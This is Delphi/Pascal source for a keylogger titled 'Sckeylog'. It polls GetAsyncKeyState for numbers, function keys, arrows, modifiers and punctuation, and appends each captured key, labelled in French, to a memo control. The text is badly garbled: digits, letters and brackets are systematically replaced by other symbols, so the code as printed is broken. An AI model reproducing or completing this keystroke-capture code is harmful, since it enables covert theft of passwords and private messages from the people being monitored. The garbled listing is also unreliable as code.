Sckeylog 1 N 2
Sckeylog 1 N 2
var
Result:Longint;
Enter:Integer;
Period:Integer;
Comma:Integer;
Space:Integer;
Colon:Integer;
Slash:Integer;
Backspace:Integer;
Escape:Integer;
Tab:Integer;
Shift:Integer;
Ctrl:Integer;
Alt:Integer;
Pause:Integer;
CapsLock:integer;
PageP:Integer;
Page!o"n:Integer;
#in:Integer;
$ome:Integer;
LeftArro":Integer;
pArro":Integer;
RightArro":Integer;
!o"nArro":Integer;
PrintScreen:Integer;
Insert:Integer;
!elete:Integer;
%indo"L:Integer;
%indo"R:Integer;
&ultipl':Integer;
Add:Integer;
(ero:Integer;
n:Integer;
!eu):Integer;
Trois:Integer;
*uatre:Integer;
Cin+:Integer;
Si):Integer;
Sept:Integer;
$uit:Integer;
,euf:Integer;
Separator:Integer;
Soustraire:Integer;
Point:Integer;
!i-iser:Integer;
#.:Integer;
#/:Integer;
#0:Integer;
#1:Integer;
#2:Integer;
#3:Integer;
#4:Integer;
#5:Integer;
#6:Integer;
#.7:Integer;
#..:Integer;
#./:Integer;
,umLock:Integer;
StopScroll:Integer;
Label 9e'#ound;
SC9E:L;</
Result:=7;
Enter:=7;
Period:=7;
Comma:=7;
Space:=7;
Colon:=7;
Slash:=7;
Backspace:=7;
Escape:=7;
Tab:=7;
Shift:=7;
Ctrl:=7;
Alt:=7;
Pause:=7;
CapsLock:=7;
PageP:=7;
Page!o"n:=7;
#in:=7;
$ome:=7;
LeftArro":=7;
pArro":=7;
RightArro":=7;
!o"nArro":=7;
PrintScreen:=7;
Insert:=7;
!elete:=7;
%indo"L:=7;
%indo"R:=7;
&ultipl':=7;
Add:=7;
(ero:=7;
n:=7;
!eu):=7;
Trois:=7;
*uatre:=7;
Cin+:=7;
Si):=7;
Sept:=7;
$uit:=7;
,euf:=7;
Separator:=7;
Soustraire:=7;
Point:=7;
!i-iser:=7;
#.:=7;
#/:=7;
#0:=7;
#1:=7;
#2:=7;
#3:=7;
#4:=7;
#5:=7;
#6:=7;
#.7:=7;
#..:=7;
#./:=7;
,umLock:=7;
StopScroll:=7;
Result:=<etAs'nc9e'State>/4?;
If Result=@0/434 then
Begin
Escape:=.;
<oto ke'#ound;
End;
Result:=<etAs'nc9e'State>.76?;
If Result=@0/434 then
Begin
Soustraire:=.;
<oto ke'#ound;
End;
Result:=<etAs'nc9e'State>..7?;
If Result=@0/434 then
Begin
Point:=.;
<oto ke'#ound;
End;
Result:=<etAs'nc9e'State>...?;
If Result=@0/434 then
Begin
!i-iser:=.;
<oto ke'#ound;
End;
Result:=<etAs'nc9e'State>../?;
If Result=@0/434 then
Begin
#.:=.;
<oto ke'#ound;
End;
Result:=<etAs'nc9e'State>..0?;
If Result=@0/434 then
Begin
#/:=.;
<oto ke'#ound;
End;
Result:=<etAs'nc9e'State>..1?;
If Result=@0/434 then
Begin
#0:=.;
<oto ke'#ound;
End;
Result:=<etAs'nc9e'State>..2?;
If Result=@0/434 then
Begin
#1:=.;
<oto ke'#ound;
End;
Result:=<etAs'nc9e'State>..3?;
If Result=@0/434 then
Begin
#2:=.;
<oto ke'#ound;
End;
Result:=<etAs'nc9e'State>..4?;
If Result=@0/434 then
Begin
#3:=.;
<oto ke'#ound;
End;
Result:=<etAs'nc9e'State>..5?;
If Result=@0/434 then
Begin
#4:=.;
<oto ke'#ound;
End;
Result:=<etAs'nc9e'State>..6?;
If Result=@0/434 then
Begin
#5:=.;
<oto ke'#ound;
End;
Result:=<etAs'nc9e'State>./7?;
If Result=@0/434 then
Begin
#6:=.;
<oto ke'#ound;
End;
Result:=<etAs'nc9e'State>./.?;
If Result=@0/434 then
Begin
#.7:=.;
<oto ke'#ound;
End;
Result:=<etAs'nc9e'State>.//?;
If Result=@0/434 then
Begin
#..:=.;
<oto ke'#ound;
End;
Result:=<etAs'nc9e'State>./0?;
If Result=@0/434 then
Begin
#./:=.;
<oto ke'#ound;
End;
Result:=<etAs'nc9e'State>.11?;
If Result=@0/434 then
Begin
,umLock:=.;
<oto ke'#ound;
End;
Result:=<etAs'nc9e'State>.12?;
If Result=@0/434 then
Begin
StopScroll:=.;
<oto ke'#ound;
End;
Result:=<etAs'nc9e'State>63?;
If Result=@0/434 then
Begin
(ero:=.;
<oto ke'#ound;
End;
Result:=<etAs'nc9e'State>64?;
If Result=@0/434 then
Begin
n:=.;
<oto ke'#ound;
End;
Result:=<etAs'nc9e'State>65?;
If Result=@0/434 then
Begin
!eu):=.;
<oto ke'#ound;
End;
Result:=<etAs'nc9e'State>66?;
If Result=@0/434 then
Begin
Trois:=.;
<oto ke'#ound;
End;
Result:=<etAs'nc9e'State>.77?;
If Result=@0/434 then
Begin
*uatre:=.;
<oto ke'#ound;
End;
Result:=<etAs'nc9e'State>.7.?;
If Result=@0/434 then
Begin
Cin+:=.;
<oto ke'#ound;
End;
Result:=<etAs'nc9e'State>.7/?;
If Result=@0/434 then
Begin
Si):=.;
<oto ke'#ound;
End;
Result:=<etAs'nc9e'State>.70?;
If Result=@0/434 then
Begin
Sept:=.;
<oto ke'#ound;
End;
Result:=<etAs'nc9e'State>.71?;
If Result=@0/434 then
Begin
$uit:=.;
<oto ke'#ound;
End;
Result:=<etAs'nc9e'State>.72?;
If Result=@0/434 then
Begin
,euf:=.;
<oto ke'#ound;
End;
Result:=<etAs'nc9e'State>.75?;
If Result=@0/434 then
Begin
Separator:=.;
<oto ke'#ound;
End;
Result:=<etAs'nc9e'State>6.?;
If Result=@0/434 then
Begin
%indo"L:=.;
<oto ke'#ound;
End;
Result:=<etAs'nc9e'State>6/?;
If Result=@0/434 then
Begin
%indo"R:=.;
<oto ke'#ound;
End;
Result:=<etAs'nc9e'State>.73?;
If Result=@0/434 then
Begin
&ultipl':=.;
<oto ke'#ound;
End;
Result:=<etAs'nc9e'State>.74?;
If Result=@0/434 then
Begin
Add:=.;
<oto ke'#ound;
End;
Result:=<etAs'nc9e'State>13?;
If Result=@0/434 then
Begin
!elete:=.;
<oto ke'#ound;
End;
Result:=<etAs'nc9e'State>12?;
If Result=@0/434 then
Begin
Insert:=.;
<oto ke'#ound;
End;
Result:=<etAs'nc9e'State>1/?;
If Result=@0/434 then
Begin
PrintScreen:=.;
<oto ke'#ound;
End;
Result:=<etAs'nc9e'State>04?;
If Result=@0/434 then
Begin
LeftArro":=.;
<oto ke'#ound;
End;
Result:=<etAs'nc9e'State>05?;
If Result=@0/434 then
Begin
pArro":=.;
<oto ke'#ound;
End;
Result:=<etAs'nc9e'State>06?;
If Result=@0/434 then
Begin
RightArro":=.;
<oto ke'#ound;
End;
Result:=<etAs'nc9e'State>17?;
If Result=@0/434 then
Begin
!o"nArro":=.;
<oto ke'#ound;
End;
Result:=<etAs'nc9e'State>03?;
If Result=@0/434 then
Begin
$ome:=.;
<oto ke'#ound;
End;
Result:=<etAs'nc9e'State>02?;
If Result=@0/434 then
Begin
#in:=.;
<oto ke'#ound;
End;
Result:=<etAs'nc9e'State>00?;
If Result=@0/434 then
Begin
PageP:=.;
<oto ke'#ound;
End;
Result:=<etAs'nc9e'State>01?;
If Result=@0/434 then
Begin
Page!o"n:=.;
<oto ke'#ound;
End;
Result:=<etAs'nc9e'State>.3?;
If Result=@0/434 then
Begin
Shift:=.;
<oto ke'#ound;
End;
Result:=<etAs'nc9e'State>/7?;
If Result=@0/434 then
Begin
CapsLock:=.;
<oto ke'#ound;
End;
Result:=<etAs'nc9e'State>.6?;
If Result=@0/434 then
Begin
Pause:=.;
<oto ke'#ound;
End;
Result:=<etAs'nc9e'State>.5?;
If Result=@0/434 then
Begin
Alt:=.;
<oto ke'#ound;
End;
Result:=<etAs'nc9e'State>.4?;
If Result=@0/434 then
Begin
Ctrl:=.;
<oto ke'#ound;
End;
Result:=<etAs'nc9e'State>6?;
If Result=@0/434 then
Begin
Tab:=.;
<oto ke'#ound;
End;
Result:=<etAs'nc9e'State>5?;
If Result=@0/434 then
Begin
Backspace:=.;
<oto ke'#ound;
End;
Result:=<etAs'nc9e'State>.67?;
If Result= @0/434 then
begin
Period:=.;
<oto ke'#ound;
End;
Result:=<etAs'nc9e'State>.0?;
if Result= @0/434 then
Begin
Enter:=.;
<oto 9e'found;
End;
Result:=<etAs'nc9e'State>.55?;
if Result= @0/434 then
begin
Comma:=.;
<oto ke'#ound;
End;
Result:=<etAs'nc9e'State>0/?;
if Result= @0/434 then
Begin
Space:=.;
<oto 9e'found;
End;
Result:=<etAs'nc9e'State>.53?;
if Result= @0/434 then
Begin
Colon:=.;
<oto 9e'found;
End;
Result:=<etAs'nc9e'State>.6.?;
if Result= @0/434 then
Begin
Slash:=.;
<oto 9e'found;
End;
Loopke':=1.;
repeat
Result:=<etAs'nc9e'State>Loopke'?;
if Result= @0/434 then
Begin
&emo.ATe)t:= &emo.ATe)t B Chr>Loopke'?;
End
Else
Loopke':=Loopke'B.;
until Loopke' = 6.;
E)it;
9e'#ound:
if Escape=. Then
Begin
&emo.ATe)t:=&emo.ATe)t B CDEscapeEC;
Escape:=7;
E)it;
End;
if #.=. Then
Begin
&emo.ATe)t:=&emo.ATe)t B CD#.EC;
#.:=7;
E)it;
End;
if #/=. Then
Begin
&emo.ATe)t:=&emo.ATe)t B CD#/EC;
#/:=7;
E)it;
End;
if #0=. Then
Begin
&emo.ATe)t:=&emo.ATe)t B CD#0EC;
#0:=7;
E)it;
End;
if #1=. Then
Begin
&emo.ATe)t:=&emo.ATe)t B CD#1EC;
#1:=7;
E)it;
End;
if #2=. Then
Begin
&emo.ATe)t:=&emo.ATe)t B CD#2EC;
#2:=7;
E)it;
End;
if #3=. Then
Begin
&emo.ATe)t:=&emo.ATe)t B CD#3EC;
#3:=7;
E)it;
End;
if #4=. Then
Begin
&emo.ATe)t:=&emo.ATe)t B CD#4EC;
#4:=7;
E)it;
End;
if #5=. Then
Begin
&emo.ATe)t:=&emo.ATe)t B CD#5EC;
#5:=7;
E)it;
End;
if #6=. Then
Begin
&emo.ATe)t:=&emo.ATe)t B CD#6EC;
#6:=7;
E)it;
End;
if #.7=. Then
Begin
&emo.ATe)t:=&emo.ATe)t B CD#.7EC;
#.7:=7;
E)it;
End;
if #..=. Then
Begin
&emo.ATe)t:=&emo.ATe)t B CD#..EC;
#..:=7;
E)it;
End;
if #./=. Then
Begin
&emo.ATe)t:=&emo.ATe)t B CD#./EC;
#./:=7;
E)it;
End;
if ,umLock=. Then
Begin
&emo.ATe)t:=&emo.ATe)t B CD,umlockEC;
,umLock:=7;
E)it;
End;
if StopScroll=. Then
Begin
&emo.ATe)t:=&emo.ATe)t B CDStopScrollEC;
StopScroll:=7;
E)it;
End;
if (ero=. Then
Begin
&emo.ATe)t:=&emo.ATe)t B C7C;
(ero:=7;
E)it;
End;
if n=. Then
Begin
&emo.ATe)t:=&emo.ATe)t B C.C;
n:=7;
E)it;
End;
if !eu)=. Then
Begin
&emo.ATe)t:=&emo.ATe)t B C/C;
!eu):=7;
E)it;
End;
if Trois=. Then
Begin
&emo.ATe)t:=&emo.ATe)t B C0C;
Trois:=7;
E)it;
End;
if *uatre=. Then
Begin
&emo.ATe)t:=&emo.ATe)t B C1C;
*uatre:=7;
E)it;
End;
if Cin+=. Then
Begin
&emo.ATe)t:=&emo.ATe)t B C2C;
Cin+:=7;
E)it;
End;
if Si)=. Then
Begin
&emo.ATe)t:=&emo.ATe)t B C3C;
Si):=7;
E)it;
End;
if Sept=. Then
Begin
&emo.ATe)t:=&emo.ATe)t B C4C;
Sept:=7;
E)it;
End;
if $uit=. Then
Begin
&emo.ATe)t:=&emo.ATe)t B C5C;
$uit:=7;
E)it;
End;
if ,euf=. Then
Begin
&emo.ATe)t:=&emo.ATe)t B C6C;
,euf:=7;
E)it;
End;
if Separator=. Then
Begin
&emo.ATe)t:=&emo.ATe)t B CDSeparatorEC;
Separator:=7;
E)it;
End;
if %indo"L=. Then
Begin
&emo.ATe)t:=&emo.ATe)t B CD%indo"s <aucheEC;
%indo"L:=7;
E)it;
End;
if %indo"R=. Then
Begin
&emo.ATe)t:=&emo.ATe)t B CD%indo"s !roiteEC;
%indo"R:=7;
E)it;
End;
if &ultipl'=. Then
Begin
&emo.ATe)t:=&emo.ATe)t B CFC;
&ultipl':=7;
E)it;
End;
if Add=. Then
Begin
&emo.ATe)t:=&emo.ATe)t B CBC;
Add:=7;
E)it;
End;
if Soustraire=. Then
Begin
&emo.ATe)t:=&emo.ATe)t B C@C;
Soustraire:=7;
E)it;
End;
if !i-iser=. Then
Begin
&emo.ATe)t:=&emo.ATe)t B CGC;
!i-iser:=7;
E)it;
End;
if Point=. Then
Begin
&emo.ATe)t:=&emo.ATe)t B CAC;
Point:=7;
E)it;
End;
if !elete=. Then
Begin
&emo.ATe)t:=&emo.ATe)t B CD!eleteEC;
!elete:=7;
E)it;
End;
if Insert=. Then
Begin
&emo.ATe)t:=&emo.ATe)t B CDInsertEC;
Insert:=7;
E)it;
End;
if PrintScreen=. Then
Begin
&emo.ATe)t:=&emo.ATe)t B CDPrintEC;
PrintScreen:=7;
E)it;
End;
if #in=. Then
Begin
&emo.ATe)t:=&emo.ATe)t B CD#inEC;
#in:=7;
E)it;
End;
if PageP=. Then
Begin
&emo.ATe)t:=&emo.ATe)t B CDPagePEC;
PageP:=7;
E)it;
End;
if Page!o"n=. Then
Begin
&emo.ATe)t:=&emo.ATe)t B CDPage!o"nEC;
Page!o"n:=7;
E)it;
End;
if Ctrl=. Then
Begin
&emo.ATe)t:=&emo.ATe)t B CDCtrlEC;
Ctrl:=7;
E)it;
End;
if Alt=. Then
Begin
&emo.ATe)t:=&emo.ATe)t B CDAltEC;
Alt:=7;
E)it;
End;
if $ome=. Then
Begin
&emo.ATe)t:=&emo.ATe)t B CD$omeEC;
$ome:=7;
E)it;
End;
if Shift=. Then
Begin
&emo.ATe)t:=&emo.ATe)t B CDShiftEC;
Shift:=7;
E)it;
End;
if LeftArro"=. Then
Begin
&emo.ATe)t:=&emo.ATe)t B CD<aucheEC;
LeftArro":=7;
E)it;
End;
if pArro"=. Then
Begin
&emo.ATe)t:=&emo.ATe)t B CD$autEC;
pArro":=7;
E)it;
End;
if RightArro"=. Then
Begin
&emo.ATe)t:=&emo.ATe)t B CD!roiteEC;
RightArro":=7;
E)it;
End;
if !o"nArro"=. Then
Begin
&emo.ATe)t:=&emo.ATe)t B CDBasEC;
!o"nArro":=7;
E)it;
End;
if CapsLock=. Then
Begin
&emo.ATe)t:=&emo.ATe)t B CDCapsLockEC;
CapsLock:=7;
E)it;
End;
if Pause=. Then
Begin
&emo.ATe)t:=&emo.ATe)t B CDPauseEC;
Pause:=7;
E)it;
End;
if Tab=. Then
Begin
&emo.ATe)t:=&emo.ATe)t B CDTabEC;
Tab:=7;
E)it;
End;
if Backspace=. Then
Begin
&emo.ATe)t:=&emo.ATe)t B CDBackSpaceEC;
Backspace:=7;
E)it;
End;
if Enter=. Then
Begin
&emo.ATe)t:=&emo.ATe)t B CDEnterEC;
Enter:=7;
E)it;
End;
if Period=. Then
Begin
&emo.ATe)t:=&emo.ATe)t B CAC;
Period:=7;
E)it;
End;
if Comma=. then
begin
&emo.ATe)t:=&emo.ATe)tBCHC;
Comma:=7;
E)it;
End;
if Space=. Then
Begin
&emo.ATe)t:=&emo.ATe)tBC C;
Space:=7;
E)it;
End;
if Colon=. then
Begin
&emo.ATe)t:=&emo.ATe)tBC:C;
Colon:=7;
E)it;
End;
if Slash=. Then
begin
&emo.ATe)t:=&emo.ATe)t B CGC;
Slash:=7;
E)it;